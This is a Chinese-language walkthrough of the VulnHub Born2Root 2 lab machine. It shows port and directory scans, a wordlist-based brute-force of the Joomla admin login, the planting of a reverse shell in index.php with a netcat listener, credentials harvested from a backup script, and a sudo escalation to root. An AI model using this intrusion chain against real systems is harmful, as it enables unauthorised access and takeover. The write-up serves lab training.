> For the complete documentation index, see [llms.txt](https://icybersec.gitbook.io/cybersecuritynote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://icybersec.gitbook.io/cybersecuritynote/ba-chang-huan-jing/vulnhub/born2root-2.md). # Born2Root 2 > 靶场IP：`192.168.32.18` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.18 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 00:09 EDT Nmap scan report for 192.168.32.18 Host is up (0.00012s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 55052/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:FC:25:B6 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds ``` 浏览器访问80端口 ![image-20220913121050120](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-6d6fbca576a0505145bab958c61bcb88faaaaa14%2Fimage-20220913121050120.png?alt=media) 爆破目录 ``` ┌──(root㉿kali)-[~] └─# dirb http://192.168.32.18/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Sep 13 00:10:53 2022 URL_BASE: http://192.168.32.18/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.18/ ---- ==> DIRECTORY: http://192.168.32.18/css/ ==> DIRECTORY: http://192.168.32.18/img/ + http://192.168.32.18/index.html (CODE:200|SIZE:8454) ==> DIRECTORY: http://192.168.32.18/javascript/ ==> DIRECTORY: http://192.168.32.18/joomla/ ==> DIRECTORY: http://192.168.32.18/js/ + http://192.168.32.18/LICENSE (CODE:200|SIZE:1093) ==> DIRECTORY: http://192.168.32.18/manual/ + http://192.168.32.18/server-status (CODE:403|SIZE:301) ==> DIRECTORY: http://192.168.32.18/vendor/ ``` 访问：`/joomla/` ![image-20220913121126841](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-2d4b1f709c67ed4aeca283028b3f325d4e0e4800%2Fimage-20220913121126841.png?alt=media) 使用cewl生成密码字典 ``` ┌──(root㉿kali)-[/tmp] └─# cewl http://192.168.32.18/joomla/ > password ``` 爆破密码 ![image-20220913121534236](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-42ccb690eb77cac0573c0cc6aba99c9357b84ab9%2Fimage-20220913121534236.png?alt=media) 爆破成功 ``` Username: admin Password: travel ``` 登录后台 ![image-20220913121657408](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-981d2f223b160237ac46d3e3fb9fb3be3496c64a%2Fimage-20220913121657408.png?alt=media) 编辑 index.php 后，单击"保存"按钮保存文件。现在我们已经成功地将 index.php 替换为我们的反向 shell 脚本。现在，剩下要做的就是运行 index.php。现在要获得会话，我们需要一个侦听器，我们将在其中获得反向 shell。我们将使用 netcat 创建一个监听器，如下图所示。 ![image-20220913122324499](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-a2d1030ce9f893a4a6c5ea1c483701846e69bb36%2Fimage-20220913122324499.png?alt=media) ![image-20220913122338931](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-66cbd2e4d98d86f7f2432025fdd8efb83448b5d9%2Fimage-20220913122338931.png?alt=media) 发现：`fileshare.py`，找出账号和密码：`tim/lulzlol` ``` www-data@born2root:/$ cd /opt cd /opt www-data@born2root:/opt$ ls ls scripts www-data@born2root:/opt$ cd scripts cd scripts www-data@born2root:/opt/scripts$ ls ls fileshare.py www-data@born2root:/opt/scripts$ cat fileshare.py cat fileshare.py #!/usr/bin/env python import sys, paramiko if len(sys.argv) < 5: print "args missing" sys.exit(1) hostname = "localhost" password = "lulzlol" source = "/var/www/html/joomla" dest = "/tmp/backup/joomla" username = "tim" port = 22 try: t = paramiko.Transport((hostname, port)) t.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(t) sftp.get(source, dest) finally: t.close() ``` 切换到`tim`用户 ``` www-data@born2root:/opt/scripts$ su tim su tim Password: lulzlol ``` 查看sudo列表 ``` tim@born2root:/opt/scripts$ sudo -l sudo -l [sudo] password for tim: lulzlol Matching Defaults entries for tim on born2root: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User tim may run the following commands on born2root: (ALL : ALL) ALL ``` 切换到root用户 ![image-20230208133748149](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-f4a61fe01acf794b3b42fd051c20e82cccd854a2%2Fimage-20230208133748149.png?alt=media)